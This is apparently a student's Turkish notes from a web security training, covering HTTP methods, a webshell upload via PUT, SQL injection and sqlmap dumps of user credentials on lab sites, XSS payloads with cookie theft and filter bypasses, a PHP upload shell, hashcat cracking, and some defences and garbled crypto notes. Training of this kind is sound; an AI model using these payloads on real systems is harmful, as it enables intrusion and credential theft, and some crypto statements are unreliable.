HTTP/ OK Date: Sat, 31 Jan :10:36 GMT Server: Apache/ (Debian)
|
|
|
- Derya Altan
- 8 yıl önce
- İzleme sayısı:
Transkript
1 gün sudo apt-get install netcat nc v GET / HTTP/1.0 POST / HTTP/1.0 OPTIONS / HTTP/1.0 HTTP/ OK Date: Sat, 31 Jan :10:04 GMT Server: Apache/ (Debian) Last-Modified: Thu, 02 Oct :10:20 GMT ETag: "a7ff6-b1-5046f " Accept-Ranges: bytes Content-Length: 177 Vary: Accept-Encoding Connection: close Content-Type: text/html <html><body><h1>it works!</h1> <p>this is the default web page for this server.</p> <p>the web server software is running but no content has been added, yet.</p> </body></html> HTTP/ OK Date: Sat, 31 Jan :10:36 GMT Server: Apache/ (Debian) Last-Modified: Thu, 02 Oct :10:20 GMT ETag: "a7ff6-b1-5046f " Accept-Ranges: bytes Content-Length: 177 Vary: Accept-Encoding Connection: close Content-Type: text/html <html><body><h1>it works!</h1> <p>this is the default web page for this server.</p> <p>the web server software is running but no content has been added, yet.</p> </body></html> HTTP/ OK Date: Sat, 31 Jan :12:30 GMT Server: Apache/ (Debian) Allow: GET,HEAD,POST,OPTIONS Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html <html><body><h1>it works!</h1> <p>this is the default web page for this server.</p> <p>the web server software is running but no content has been added, yet.</p> </body></html> o dizinin hangi metolara izin verdiğini gösterir OPTIONS /methods/ HTTP/1.0 dizine göre Allow kısmındaki metodlar değişebilir. nc 80 GET / HTTP/1.0 HTTP/ Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: Header Content-Length: 262 Date: Sat, 31 Jan :29:16 GMT Server: GFE/2.0 Alternate-Protocol: 80:quic,p=0.02 <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> Body The document has moved <A HREF=" </BODY></HTML> date: contect-type application/json verilmezse JSON verisini tanımama olabilir. dig domain adından ip adresini çözümlemek için HTTP error code 1xx 2xx 3xx 4xx 5xx bilgiler Bağlantı yapıldı uyarıları Yönlendirme hataları istemci tarafı hataları sunucu tarafı hataları Server tanımsız olan 3xx kodu gödererek (378) browserların farklı olup olmadığını anlayabilir. İstemci tanımsız olan kodlar yollayarak var serverlamı yoksa arada başka bir cihazlamı konusştuğunu anlayabilir. (999 cevabı firewalldan gelir) Metodlar Get /index.php?isim=ali&no=5 Host : Header Useragent : Cookie :
2 ... Body * Get ile yapılan istekler access.log dosyasına kaydedilir.şifre, kullanıcı adı vs gibi kritik bilgiler Get ile yollandığında hem urlde gözükmesi hemde access.log da daha sonra yetkisi olan kişiler tarafından rahatsız şifresiz bir şekilde okunabilmesi riski vardır. * Post ile yapılan isteklerde herhangi bir yerde kaydı tutulmaz. Kritik verilerin POST edilmesi gerekir. Mozilla firefox eklentisi Hackbar: Bir sayfaya get yapabilmemizin yanı sıra Form vs oluşturmadan direk post yapabilmemizi sağlıyor. Elasticsearch: Log kayıtlarını tutabilmemiz için incele metod path protokol/versiyon Varnish: cache mekanizması oluşturabilmek için GET / HTTP/1.0 POST OPTIONS PUT HEAD DELETE TRACE CONNECT FETCH MOVE İzin verilen metodları döndürür. Hangi dizin için kullanılmışsa metodlar değişebilir. body döndürmeden sadece header döndürür. aralarda başka cihaz varmı yokmu tespiti için proxy bağlantısı yapabilmek için PUT /method/ali.txt HTTP/1.0 ali adında dosya oluşturdu. GET /method/ali.txt HTTP/1.0 ali adında dosyanın varmı yokmu durumunu gösterdi. DELETE /method/ali.txt HTTP/1.0 ali adında ki dosyayı sildi. Bu işlemlerin tek tek yapılması yerine sudo apt-get install cadaver örnek çalışma server ip si cadaver direk server içine bağlantı sağlıyor. Laudanum webshell dosyasını indirdik kendimize göre kullanıcı adı sifre ve ip düzenlemesi yaptık.servera attık. Serverın içinde kendi kullanıcı adı ve sifremizle gireceğimiz bir bağlantımız oluştu. Echo -en PUT /method/aerentest.txt HTTP/1.0\r\n\r\n nc OWASP web güvenliği otoritesi owasp top 10 ile en çok görülen web sızma yöntemlerini belirliyorlar 1)injection OWASP open web application security project portswigger web security HTTP owasp zaproxy PROXY information_schema.tables tüm DB tablolarını verir. sqlinjectionwiki.com mysql -u root -p Select table_name,table_schema from information_schema.tables; --> tüm veritabanı ve tablolarını verir. Select 'ahmet', 'mehmet' UNION Select table_name, '' from information_schema.tables where table_name='user'; gün uygulama yapılacak site yukarıdakiyle aynı sonuc '' ile buna bi nebze çözüm olabilir.?cat='5' and '1'='1' bu şekilde de üzerine gidilirse. Programda bu cat değerinin int olup olmadığını kontrol ederek string yapısı engellenmeli.?cat=5 or 1=1 tüm ürünler geldi yazılımcının yöntemine göre '' lı tırnaksız ('') () gibi gibi yöntemler olabilir.
3 Barkın Mehmet Ayşe Bilge 2 tip injection UNIOUN, blind sql injections Union sql in sonuna giriyourz o yüzden union kullanılabiliyor. Blind sql in ortasında olduğumuz için union kullanılamaz. True false dönüşlerine göre karakter karakter tarıyoruz. ekrana direk verileri getiriyorsa union kullanılabilir afakat gelen cevap sadece var yok gibiyse union yapısına uygun olsa bile blind yapılabilir. blind gibi görünen durumda # kullanarak sql query nin # ile sağ tarafı yorum yapılır ve union kullanılabilir. sitesinden bir listeleme sayfası görüntüledik.burdan veritabanıyla ilgili bilgilere ulaşmak istiyoruz. union select 1 Error: The used SELECT statements have a different number of columns Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74 Kolon sayısı hatası verdi Union yapabilmemiz için iki select in de eşit kolona sahip olması gerekli. Bu yüzden tutturana kadar deniyoruz. union select 1,2,3,4,5,6,7,8,9,10,11 bilgi alındı. 11 tane kolon varmış. union select 1,database(),3,4,5,6,version(),8,9,10,11 union select 1,2,3,4,5,6,database(),8,9,10,11 from information_schema.tables 7 yerine versiyonu 2 yerine databese adını bulduk union select 1,table_name,3,4,5,6,version(),8,9,10,11 from information_schema.columns tüm tablolar geldi union select 1,table_name,3,4,5,6,version(),8,9,10,11 from information_schema.columns where table_schema='acuart' acuart veritabanına göre listeledik union select 1,column_name,3,4,5,6,table_name,8,9,10,11 from information_schema.columns where table_name='users' users tablosunun alanları bulundu union select 1, ,3,4,5,6,uname,8,pass,10,11 from users users içindeki kullanıcı adı şifre mail yazıldı. SQLMAP * sqpmap komutları Veritabanının kolay yoldan bilgilerini çıkartıyor. Farklı yöntemler deneyerek sonuçlar veriyor. Bizim denediğimiz Union yöntemlerden sadece bir tanesi.yukarda yaptığımız işlemleri otomatik şekilde farklı veritabanlarına göre yapmamızı sağlıyor. sqlmap -u " -p "cat" cat üzerinden veritabanı testini yaptı zafiyet noktalarını verdi sqlmap -u " --current-db aktif veritabanını verdi sqlmap -u " -p "cat" -D "acuart" --columns tüm acuart veri tabanını getirdi sqlmap -u " -p "cat" --technique U -T "users" --columns users tablosunun kolonlarını verdi sqlmap -u " -p "cat" --technique U --sql-shell bir shell açıp istediğimiz query çalıştırmamızı sağlar. sql-shell> select * from users sqlmap -u " -p "cat" --technique U -D "acuart" --dump-all
4 tüm acuart veri tabanını getirdi sqlmap -u " -p "cat" --technique U -D "acuart" -T "users" -C "pass","uname" --dump acuartın users tablosunun pass ve uname alanlarını getirdi. **Tek başına uname i getirmiyor. XSS nedir? SQLi korunma? Veritabanı çok aktif değildir. Kullanıcıdan alınan inputların kontrol edilmeden ve output encoding yapılmadan tekrardan kullanıcıya göndereceğimiz html içerisinde kullanıcıya göndermek. Kullanıcı tarafında tarayıcı üzerinde çalıştırılması. Mehmeti arıyoruz... <html> <div> kelimeniz=mehmet</div> </html> sonucunu döndürdü. Mehmet yerine <h1>mehmet</h1> verirsek büyük MEHMET yazdı. Bu şekilde bir yapıda Banka sayfası görünümü verip veriler çalınabilir. Javascript çalıştırılabilir ki bu herşeye ulaşmamızı sağlayabilir. adresine girip post data verisinden farklı bir veri yollanırsa searchfor=<h1>abcd</h1>&gobutton=go sonuç verisi değişti. searchfor=<script>window.location="//google.com"</script>&gobutton=go direk Google a yönlendirildi. Arama yaparken google gitti. sayfadan header bilgisi içindeki set-cookie bilgisi ele geçirilerek kullanıcı hesap bilgileri çalınabilir. Bu bilgiler nasıl alınabilir? javascript te document.cookie değişkenin den cookie bilgisi alınabilir. yada ağımızın arasına girilmesi sayesinde alınabilir. searchfor=ab2015<script>alert(1)</script>&gobutton=go searchfor=ab2015<script>alert(document.cookie)</script>&gobutton=go Bu olaya güzel bir örnek attığın bir tweetin kendi kendine retweet yaptırılması. Xss reflected (yansımış) değişikliği biz başkalarına yollamalıyız. stored değişiklik depolanmış kişiye her halukarda geliyor. url de # işaretinden sonra gelen tüm kısımlar sunucuya iletilmeden browserda kalır. xenoxis frameworks.net tabanlı xss için, 3 farklı tarayıcıda denemeler yapıyor. keylogger modundan hazır script oluşturuyor. xss explotaion menusu altında fakrlı secenekler var klavye dinle,mesaj yolla vs cookiemanager cookie çalmak için firefox eklentisi... sqlinjection XSS demoları için uygulama alanı 1- Html context 2- Js cpntext 3- Attributes context 4- Style context <div>merhaba {{Mehmet}}</div> <script> </script> var name='mehmet'; var name='';alert(1);f=''; şeklinde bir girdi olursa alert çalışır. var name="";alert(1);f=""; <input name="isim" value=" "onmouseover= " "> <a > internet explorerda açık ve ie geçerliliği olmadğı için önemli değil. *sayfa kaynağını inceleyip Xss hangi yapı içinde script, html vs olduğunu görebilirsin. mdisec.com/h4ckm3/xss-1/ xss-2 xss-3 net de örnekler *web uygulamada blacklist yerine kendi kriterini belirleyip inputu ona göre istemek gerekli. isim alanıysa türkçe karakter kontrolu gibi. UNION engellersin UNIUNIONON olur recursive kontrol ederse U/*!NIO*/N yapılır
5 mdisec.com/h4ckm3/xss-2/ girdiğim eren $( document ).ready(function() { var LoadString = function(str){ $('#content').text(str); } LoadString('eren') }); kaynak kodda kısmında olduğunu gördüm eren yerine girdiğim bir değerle alert verdirmemiz gerekli. ' işareti görünce otomatik \ getirdiği için kolay yoldan yapılamadı. </scripscriptt> <scripscriptt>alealertrt(1);</scripscriptt> <scripscriptt> bu şekilde alert verildi. </scripscriptt><svsvgg onload=aleralertt(1)> farklı çözümler <a href=" ">tıkla </a> durumunda " ' < > işrateleri engelli olduğu için ne yapılabilir. javascript:alert(1); olabilir. 3.örnekte başına http ekliyor. ÇÖZÜMÜ? 4.örnek ÇÖZÜMÜ? her context için güvenlik taramasından geçir öyle al. 1-HTML Context <p> tag başlatmak gerekli. < > bu işaretler gerekli bu işaretler engellendiğinde tag başlatamaz ve Xss açığı oluşmaz. <> kullanmak gerekli. 2-JS Context var name='mehmet'; ' " < > yasaklı olması gerekli. encode edilmesi yeterli. ', ", <, > 3-Attributes Context bazı durumlarda bu şartlar aşılabilir. bunun için \ işaretide encode edilmeli. %0A alt satıra indirmek için \n kod içindeki yorum satırları içinde script çalıştırabilmek için kullandık. TEST%0AAalertlert%281%29%38 \ ' ` (backtick) işaretleri engellenmeli funciton htmlcontextcleaner($input) { $bad_chars=array("<",">"); $safe_chars=array("<",">"); $output=str_replace($bad_chars,$safe_chars,$input); return stripslashes($output); } funciton attributescontextcleaner($input) { $bad_chars=array("\","'"); $safe_chars=array("<",">"); $output=str_replace($bad_chars,$safe_chars,$input); return stripslashes($output); } bu fonksiyonlarla girdileri standartlaştırıyoruz. denemeler 1 <script>alert(1);</script>
6 2 <img src=< onerror=alert(1)></img> <svg onload=alert(1)> 3 '>";<script>alert(1);</script>// 1'onmouseover='alert(1) mouse üzerine gelince 4 ');alert('alren '+alert(1)+' gün 5 url signup?next=javascript:alert("1") next e basıldı <a href için javascript:alert("1") özel metod 6 mdisec.com/i.js dışarıdan js alıyor bizde dışarıdan js getirebiliriz. yazıyoruz fakat yazılımcı http yazılmasına izin vermiyor. // This will totally prevent us from loading evil URLs! if (url.match(/^https?:\/\//)) { setinnertext(document.getelementbyid("log"), "Sorry, cannot load a URL containing \"http\"."); return; } // ile protokoli kendisi seçer sqlinjection için çözüm *prepared statement *ORM (object relational maping) framework mimarileri prepares statement= direk input verisini sql query de kullanmıyor. $a->prepare("select * from a where id=?") $a->bindparam($get['a']); Xss-protection değeri 1 olursa farkedilen bir xss saldırısı engellenir. headers bilgisinde veriliyor ve defaultta aktif. insecure direct object reference IDOR fatura bilgilerini id yi değiştirerek görebiliyoruz ki yanlış birşey. kullanıcı id kontrol edilmeli. Cross-Site Request Forgery() CSRF istek sahteciliği bankya giriş yaptık cookie aldık. sonra bize gelen bi sahte linke gittiik o sıra sayfada bize bir kod gönderildi ve bu cookie ile bankaya giriş yaptrıdı. csrf token ile istek oluşturulurken gizli bir fielde rastgele bir değer yollanıyor. istek kullanıcıdan gelirse bu değer geri yollanır. fakat dışardan bi manuple olursa bu değeri bilmediği için yollayamaz. Broken authentication and session management Session fixation Session prediction Session prediction sunucu cookie üretiyor bu cookieyle saldırgan siteye ziyaret edebilir. Bu cookie tahmin edilmesi kolay algoritması varsa sıkıntı olabilir. Session fixation sessionid yi direk url de taşıyor farklı sitelere giriş yaparken aynı cookieyi ayno sessionid yi kullanmak için. urlde olduğu için acces.log da kayıt tutuluyor bu iyi bişey değil. sayfaya girşi yapmak için login ekranına geliyoruz bilgileri girmden link i başka birine yolluyoruz o açınca sayfada direk aynı sessionid li ekran açılır. kendi bilgilerini girip oturumu açarsa o sessionid logon olmuş oluyor. saldırgan f5 yaparsa sessionidleri aynı olduğu için sayfaya giriş yapmış olur.
![appspot.com/level6/frame#http://mdisec.com/i.js yazıyoruz fakat yazılımcı http yazılmasına izin vermiyor. // This will totally prevent us from loading evil URLs! if (url.match(/^https?](/docs-images/50/5325532/images/page_6.jpg ":\/\//)) { setinnertext(document.getelementbyid(\"log\"), \"Sorry, cannot load a URL containing \\"http\\".\"); return; } // ile protokoli kendisi seçer https://xss-game.appspot.com/level6/frame#//mdisec.")
7 KAYNAKLAR bunun için oturum açılınca yeni sessionid oluştur.yada tek kişi oturum açabilsin. using components with known vulnerabilities framework entegrasyonları geri dönük 3th party yazılımların takibi. entegre edilen bir parçadan dolayı oluşan açıklık. Kali ve Linux'e Giriş Web Application Security #101 Source Code Analysis at Web Applications -1 Source Code Analysis at Web Applications -2 Web Application Hacker's Handbook KRİPTOLOJİ Simetrik anahtarlı şifrelemede text -> simetrik key ->ciphertext ->simetrik key ->text Açık anahtarlı şifreleme receveir private key -> public key sender public key özel anahtarla şifreliyoruz genel şifreyi yolluyoruz boylece genel anahtarı olan alıcı çözebiliyor. RSA şifreleme. Özel anhatar genel ahatradan türetilir. DES Güvenli değil, kısa olmasından dolayı kırılabilir. Triple DES 3 anahtar kullanılır. güvenli fakat anahtarları saklamak sıkıntı. AES advanced key standart Güvenli. 10tur dönüyor RC4 SSL,WEP,WPA 256tur dönüyor.ama işlemler aes kadar kapsamlı olmadığı için o derece zor değil RSA receveir private key -> public key sender public key OTP one time path vernam xor işlemi şifreleme anahtarı ve metin aynı boyutta. boyut uzun olmalı. kullanılabilir değil Stream cipher anahtar -> random generator -> key stream ->plain text xor keystream -> Blok şifreleyici ECB bozunum ve kırılma daha kolay. şifreleme bize fikir veriyor. CBC cipher block chaining bloklara bölünüp bir anahtarla şifrelenip diğer bloğa geçiliyor ona girdi yapıyor. bu şekilde devam ediyor. bu şekilde decode ediliyor ve uzun sürüyor. şifreleme daha iyi. CFB cipher feedback block
8 daha güvenli ama süre uzuyor.inputu geri dönüş olarak veriyor. OFB output feedback mode input geri dönüş verilmediği için girişle ilgili bilgi vermiyor. geri dönüşü zor Hash kırılamaz. kolay olşuşturulması. Geri dönüş mümkün değil. tek bit değişklik hash i değiştirir. aynı hash e sahip başka mesaj olmaz. dictinory attack yada rainbow attack ile ancak mesajın hash karşılığı bulunabilir. brutforce işlemi ile denk geleni bulunabilir. md5 sha1 sha3 sha256 MAC MAC hashlerde çakışma olabilir. Bit sayısı küçük olduğu için tüm olasılıklara yetmiyor. kırılmış durumda kırılma olasılığı var. henuz kırılamadı. anahtar var ssl ipsec ssh da kullanılıyor. mac -> özet ssl -> mac al şifrele ssh -> şifrele macle birleştir ipsec->şifrele şifrelinin mac ini al birleştir. ATAKLAR algebraic attack Dictinory attack string tablosu rainbow table attack hashlerin tablosu geri gösterilecek bilgilerde encription geri gösterilmeyecek bilgiler hash rainbow a karşı olarak md5 i oluştururken kendisi bir rastegele değer ekleyip hashini alıyor. cmd5.org hash değerleri için brutforce döngüyle ayarlanır fakat çok uzun sürer. Bunun için GPU ekran kartları kullanılır. hashcat uygulaması GPU kullanarak wordlist ve hash eşleştrimesine bakıyor. Mantıklı olarak yapılması beklenen wordlist ve hash tablolarının eşleşmesi. Yada toplum yapısına göre ilk 5 karakter alpahabe sonra 4 karakter sayı olsun tarzı kriterlerle olasılık azaltılabilir. hashcat -m 100 -a 0 -o -m tipi sha1 -a attack türü hastcat kullanımı örneği kendi hash dosyamızla veri dosyamızı kıyaslayıp sonuc a yazdık hashcat -m 100 -a 0 -o /root/desktop/sonuc.txt /root/desktop/hash /root/desktop/veri brutforce atak tipiyle kalinin kendi hash dosyasını kullanabilmekteyiz. bunun için -a parametresinin değişmesi ve ona göre ekstra parametreler verilmesi gerekli. ab2015 ab2015 Dosya yükleme modulu Script çalıştırmaya şans verir ki bu herşeye sahip olabilmemize neden olabilir. dosya yükletme sırasında dosya boyutu sınırı, mime_type kontrolu, uzantı kontrolu, dosya ismi değiştirme. Burp suite http proxy uygulaması. yapılacak isteği yollamadan araya girmek için. bir dosya oluşturup içine php kodu oluştuduk. dan sisteme ekledik. daha sonra linkten cmd=ls ekleyerek çalıştırabiliriz. bize dosya yolunu verdi oraya gittik /dvwa/vulnerabilities/upload/../../hackable/uploads/abalren.php daha sonra kodumuzda istediğimiz cmd değişkenine
9 vererek serverın ls i ni aldık. *uzantıya bakmak yada memo_type a bakmak yeterli değil. upload edilen dosya webden erişilemez olması lazım. tabi upload ettiğimiz veriyi görüntülemek istediğimiz durumlarda geçerli olamaz. sitede sqlinjections sekmesini deniyoruz. -700' UNION 'select 1,2 güvenliği low seviyeyi ayarladık gün sitedeki injection denemelerinde 1' or '1=1 deyince tüm liste geldi 1' Union select 1,2 from information_schema.tables where '1'='1 kullanarak 2 kolon olduğunda cevap döndüğünü gördük. 2 den farklı kolon kullanırsak The used SELECT statements have a different number of columns hatasını aldık demekki dogru yoldayız. -1' Union select database(),1 from information_schema.tables where '1'='1 database() kullanarak dvwa olduğunu bulduk. -1' Union select column_name,table_name from information_schema.columns where '1'='1 tüm kolonları tablo isimleriyle verdi. users tablosu olduğunu da gördük.table_name -1' Union select column_name,table_name from information_schema.columns where table_name='users' and '1'='1 users tablosundan passwordla,username çekmek için -1' Union select user,password from users where '1'='1 kullandık First name: admin Surname: d41d8cd98f00b204e ecf8427e First name: gordonb Surname: e99a18c428cb38d5f e03 First name: 1337 Surname: 8d3533d75ae2c3966d7e0d4fcc69216b First name: pablo Surname: 0d107d09f5bbe40cade3de5c71e9e9b7 First name: smithy Surname: 5f4dcc3b5aa765d61d8327deb882cf99 First name: ab2015 Surname: f7b08b83f57226b67ba741633f5e3d9f hackmebank uygulamasıyla son gün testi hertürlü örnek mevcut. Detaylı bir şekilde raporlanması yapılacak ekran görüntüleriyle birlikte raporlanacak. güvenliği medium seviyeyi ayarladık. 1' or '1=1 hata verdi ' kullanamadık 2 or 1=1 tüme verileri getirdi -1 UNION select database(),2 from information_schema.tables where 1=1 ile değeri görebildik. ve dvwa databaseinde olduğunu gördük. -1 UNION select table_name,2 from information_schema.tables where table_schema=char(100,118,119,97) and 1=1
10 ' işaretine izin vermediği için dvwa nın int değerini yazdık char fonksiyonuyla ve bize dvwa nın tablolarını verdi guestbook, users tabloları geldi. -1 Union select column_name,table_name from information_schema.columns where table_name=char(117,115,101,114,115) and 1=1 users in alanlarını verdi. password, user -1 Union select user,password from users where 1=1 ile kullanıcı adı ve şifre verilerini aldık. prompt.ml xss örnek site uygulamaları dene hesap bilgileri
Bölüm 10: PHP ile Veritabanı Uygulamaları
Bölüm 10: PHP ile Veritabanı Uygulamaları -231- Öğr.Gör. Serkan DİŞLİTAŞ 10.1. PHP PHP, platformdan bağımsız sunucu taraflı çalışan betik bir web programlama dilidir. PHP programlama dili ile MySQL, MSSQL,
CSRF (XSRF, Cross Site Request Forgery Cross Site Reference Forgery ) Nedir? Nasıl Kullanılır? ve Nasıl Korunulur?
CSRF (XSRF, Cross Site Request Forgery Cross Site Reference Forgery ) Nedir? Nasıl Kullanılır? ve Nasıl Korunulur? CSRF (XSRF, Cross Site Request Forgery Cross Site Reference Forgery ) Nedir? Başlamadan
VERİ GÜVENLİĞİ. Web Uygulamaları Güvenliği. Özer Çelik Matematik-Bilgisayar Bölümü
VERİ GÜVENLİĞİ Web Uygulamaları Güvenliği Özer Çelik Matematik-Bilgisayar Bölümü Http nedir? HTTP (İngilizce Hypertext Transfer Protocol, Türkçe Hiper Metin Transfer Protokolü) bir kaynaktan dağıtılan
ÖRÜN (WEB) GÜVENLİĞİ. Hazırlayan: Arda Balkanay 704041003
ÖRÜN (WEB) GÜVENLİĞİ Hazırlayan: Arda Balkanay 704041003 Taslak Giriş WEB Nasıl Çalışır Hedef WEB Güvenlik Açıkları / Uygulama Problemleri Tehditler Sonuç Giriş WWW World Wide Web İnternet servislerini
Oturum Öncesi Tanımlı Oturum Kimliği Çerezi Açığı Gökhan
Oturum Öncesi Tanımlı Oturum Kimliği Çerezi Açığı Gökhan Muharremoğlu Oturum Öncesi Tanımlı Oturum Kimliği Çerezi Açığı Oturum öncesi tanımlı oturum kimliği çerezi açığı, az bilinen ve dünya genelinde
Web Uygulama Güvenliğinde Doğru Bilinen Yanlışlar!
Web Uygulama Güvenliğinde Doğru Bilinen Yanlışlar! Deniz Çevik Güvenlik Testleri Yöneticisi deniz.cevik@biznet.com.tr Gündem Kısaca Biznet Web Uygulama Mimarisine Kısa Bir Bakış Uygulama Güvenliği Sağlamada
Güvenlik Java ve Web Uygulama Güvenliği
Güvenlik Java ve Web Uygulama Güvenliği Melih Sakarya www.melihsakarya.com melih.sakarya@gmail.com www.mergecons.com Olası Açıklar Donanımsal açıklar Sistemsel Açıklar Yazılımsal Açıklar Sosyal Mühendislik
Tanımı 46 2-4-6 Problemi 46 Şüpheci Yaklaşım 47 Tamsayı Taşması (Integer Overflow) 47 Tamsayı Taşması Java Uygulaması 48
1 Yazılım Güvenliği 2 Yazılım Güvenliği Olgunluk Modelleri 4 OpenSAMM 6 Tehdit Modelleme 7 Güvenli Kod Denetimi 8 Statik Kod Analizi 9 Sızma Testleri-Pentest 10 13 Ne Kadar Karmaşık Olabilir ki? 14 HTML
XSS Exploitation via CHEF
XSS Exploitation via CHEF Evren Yalçın SignalSec Corp. www.signalsec.com GİRİŞ Xss zafiyetlerini exploit ederken genelde Beef(The Browser Exploitation Framework) aracı kullanılmaktadır. Fakat ek araçlar
Web Uygulama Güvenliği Kontrol Listesi 2010
Web Uygulama Güvenliği Kontrol Listesi 2010 1 www.webguvenligi.org Web uygulama güvenliği kontrol listesi 2010, OWASP-Türkiye ve Web Güvenliği Topluluğu tarafından güvenli web uygulamalarında aktif olması
WEB UYGULAMA GÜVENLİĞİ HAKKINDA. Mesut Güngör İzmir Yüksek Teknoloji Enstitüsü Bilgi İşlem Daire Başkanlığı
WEB UYGULAMA GÜVENLİĞİ HAKKINDA Mesut Güngör İzmir Yüksek Teknoloji Enstitüsü Bilgi İşlem Daire Başkanlığı İçindekiler Bilinen en popüler web uygulama atakları Güvenli yazılım geliştirme Prosedürler Bilinen
CODEIGNITER SEMINERI KÜTÜPHANE YAZMA GÜVENLIK ÖNLEMLERI CODEIGNITER 2.0
CODEIGNITER SEMINERI KÜTÜPHANE YAZMA GÜVENLIK ÖNLEMLERI CODEIGNITER 2.0 Özgür Web Teknolojileri Günleri 2010 Yeditepe Üniversitesi, Airties Salonu 16 Ekim 2010 (14:00 14:45) Fatih BAZMAN (http://codeigniter.gen.tr)
Her Yönüyle SQL Enjeksiyonu. OWASP-Türkiye Bünyamin Demir
Her Yönüyle SQL Enjeksiyonu OWASP-Türkiye Bünyamin Demir Bünyamin Demir ( @bunyamindemir ) OWASP Türkiye Bölüm Lideri Founder & CTO @ Enforsec Ltd. Sızma Testleri Uzmanı Web, Mobil, Network, SCADA, Wireless,
Sqlmap pyhton dili yazılarak geliştirilmiş Sql injection için testerlara son derece yardımcı olan bir araçtır.
SqlMap Kullanımı Sqlmap pyhton dili yazılarak geliştirilmiş Sql injection için testerlara son derece yardımcı olan bir araçtır. Temel olarak yaptığı işlem sizin belirtmiş olduğunuz parametrelere göre hedef
İNTERNET PROGRAMCILIĞI 2 10. HAFTA MYSQL - PHPMYADMIN. Hazırlayan Fatih BALAMAN. İçindekiler. Hedefler. Mysql Nedir.
İNTERNET PROGRAMCILIĞI 2 10. HAFTA İçindekiler MYSQL - PHPMYADMIN Mysql Nedir PhpMyAdmin Nedir PhpMyAdmin Arayüzü Hedefler Mysql' in görevini söyleyebilir PhpMyAdmin' in kullanım amacını söyler Hazırlayan
Web Application Penetration Test Report
Web Application Penetration Test Report Sızma testleri (Pentest) ve zayıflık tarama (Vulnerability Assessment) birbirine benzeyen iki aşamadan oluşur. Zayıflık tarama hedef sistemdeki güvenlik açıklıklarının
W3af ile Web Uygulama Güvenlik Testleri
W3af ile Web Uygulama Güvenlik Testleri Birkaç tıkla web sayfalarının, veritabanlarının hacklenebildiği, bir komutla kablosuz ağ şifrelerin kırıldığı günleri yaşıyoruz. Çok değil birkaç yıl öncesi sadece
PHP ile İnternet Programlama
PHP ile İnternet Programlama Doç.Dr. Gazi Üniversitesi Gazi Eğitim Fakültesi Bilgisayar ve Öğretim Teknolojileri Eğitimi Bölümü 5. BÖLÜM: Oturum Yönetimi ve Güvenlik Sayfaya Yönlendirme PHP sayfamızdan
BLIND SQL INJECTION SALDIRILARI
SALDIRILARI Emre Karadeniz OSCP İçindekiler BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri I. Blind SQL Injection (Content Based)... 2 II. Blind SQL Injection (Content-Based) Örneği... 3 III. Blind
HTTP. (Hyper Text Transfer Protocol)
HTTP (Hyper Text Transfer Protocol) Http, bir kaynaktan dağıtılan ve ortak kullanıma açık olan hiperortam bilgi sistemleri için uygulama seviyesinde bir iletişim kuralıdır (http://tr.wikipedia.org/wiki/http).
Bilindik engelleme yöntemlerinin dışında olan, kurumsal web filitreleri nasıl aşılır?
Bilindik engelleme yöntemlerinin dışında olan, kurumsal web filitreleri nasıl aşılır? Not : Yazdıklarım tamamen öğretim amaçlıdır. Yaşanacak her türlü sıkıntının sorumlusu uygulayan kişidir. Sorumluluk
05 - Veritabanı Sızma Testleri
BGM 531 - Sızma Testleri ve Güvenlik Denetlemeleri Bilgi Güvenliği Mühendisliği Yüksek Lisans Programı Dr. Ferhat Özgür Çatak ozgur.catak@tubitak.gov.tr İstanbul Şehir Üniversitesi 2018 - Güz İçindekiler
Simetrik (Gizli) Kriptografik Sistemler Blok Şifreler Standartlaştırma. DES-Data Encryption Standard (Bilgi Şifreleme Standardı)
Bilgi Güvenliği Simetrik (Gizli) Kriptografik Sistemler Blok Şifreler Standartlaştırma DES-Data Encryption Standard (Bilgi Şifreleme Standardı) Düzmetin (64 bit) Başlangıç Permütasyonu 58 50 42 34 26 18
9. HAFTA KBT204 İNTERNET PROGRAMCILIĞI II. Öğr.Gör. Hakan YILMAZ. hakanyilmaz@karabuk.edu.tr
9. HAFTA KBT204 İNTERNET PROGRAMCILIĞI II Öğr.Gör. Hakan YILMAZ hakanyilmaz@karabuk.edu.tr Karabük Üniversitesi Uzaktan Eğitim Uygulama ve Araştırma Merkezi 2 İçindekiler Request Nesnesinin Özellikleri
Basit bir web uygulaması
AJAX Ahmet Demirelli ahmetdemirelli@sabanciuniv.edu SCJP 5.0, SCWCD 1.4 Sabancı Üniversitesi Bilişim Teknolojileri Yüksek Lisans Programı 3/20/2007 Sabanci University 1 Ajanda Neden AJAX ihtiyacı AJAX
(W)eb (A)pplication (F)irewall Bypass http://www.bga.com.tr bilgi@bga.com.tr
(W)eb (A)pplication (F)irewall Bypass http://www.bga.com.tr bilgi@bga.com.tr Hakkımda Mehmet Dursun İnce ( @mmetince ) Penetration Tester @BGA Vuln. Researcher @BGA mehmet.ince@bga.com.tr WAF Nedir? WAF
Web Formlar ve Sayfalar Arasında Bilgi Gönderme. BATML İnternet Programcılığı 1
Web Formlar ve Sayfalar Arasında Bilgi Gönderme BATML İnternet Programcılığı 1 Bazı web sitelerinde sayfalar arasında bilgi veya değişken göndermek gerekebilir. Gönderilen bu bilgi kullanıcı adı ve şifre
İnternet Programcılığı
1 PHP le Ver tabanı İşlemler Yaptığımız web sitelerinin daha kullanışlı olması için veritabanı sistemleri ile bağlantı kurup ihtiyaca göre verileri okuyup yazmasını isteriz. 1.1 Veritabanı Nedir? Veritabanı
[ Web Uygulama Güvenliği #101 ] Mehmet Ince mehmet.ince@bga.com.tr
![[ Web Uygulama Güvenliği #101 ] Mehmet Ince mehmet.ince@bga.com.tr](/thumbs/19/311180.jpg "[ Web Uygulama Güvenliği #101 ] Mehmet Ince mehmet.ince@bga.com.tr")
[ Web Uygulama Güvenliği #101 ] Mehmet Ince mehmet.ince@bga.com.tr BGA Bilgi Güvenliği Eğitim ve Danışmanlık Ltd. Şti bilgi@bga.com.tr www.bga.com.tr Sayfa 1 İçindekiler 1) HTTP... 3 a) SSL Nedir? HTTPS...
Web 2.0 Güvenliği @2014 Örnek Eğitim Notu bilgi@bga.com.tr
Web 2.0 Güvenliği @2014 Örnek Eğitim Notu bilgi@bga.com.tr Javascript 1995 Netscape, Brendan Eich tarafından geliştirildi. Dinamik olmasının yanında en önemli iki özelliği; Lambda Closure Javascript -
